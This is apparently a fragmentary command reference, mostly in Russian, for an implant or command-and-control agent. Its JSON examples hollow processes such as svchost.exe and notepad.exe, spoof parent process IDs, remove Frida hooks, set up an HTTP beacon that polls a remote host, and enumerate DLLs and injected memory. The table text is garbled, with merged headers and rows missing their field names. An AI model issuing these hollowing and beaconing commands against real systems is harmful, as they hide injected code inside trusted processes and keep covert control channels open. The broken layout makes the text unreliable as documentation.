{ "op": "hollow", "image": "C:\Windows\System32\svchost.exe", "task_id": 1 }
{ "op": "hollow", "image": "C:\Windows\System32\RuntimeBroker.exe", "task_id": 1, "search": "explorer" }
ПолеТип
imagestringобязательно
task_idu8обязательно
searchstringнеобязательно (имя процесса/командная строка для подмены PPID)
{ "op": "hollow_apc", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 }
{ "op": "hollow_apc", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe" }
FieldType
hook_idi32опционально (ID хука, возвращённый frida_hook)
namestringопционально (имя хука, заданное в поле name команды frida_hook)
{ "op": "frida_unhook" }
{ "op": "frida_unhook", "hook_id": 1 }
{ "op": "frida_unhook", "name": "my_hook" }
ПолеТип
hoststringнеобязательный
portu16необязательный (по умолчанию: 80)
intervalu32необязательный (интервал опроса в мс; по умолчанию: 5000)
secureboolнеобязательный (по умолчанию: false)
agent_idstringнеобязательный (идентификатор, отправляемый в запросах beacon)
{ "op": "http_beacon", "host": "10.0.0.1", "port": 443, "interval": 10000, "secure": true }
опционально (опустить = текущий процесс; "all" = каждый доступный процесс)
{ "op": "dll_list" }
{ "op": "dll_list", "pid": 1234 }
{ "op": "dll_list", "pid": "all" }
"all"
необязательно (если опущено = текущий процесс; "all" = каждый доступный процесс)
{ "op": "malfind" }
{ "op": "malfind", "pid": 1234 }
{ "op": "malfind", "pid": "all" }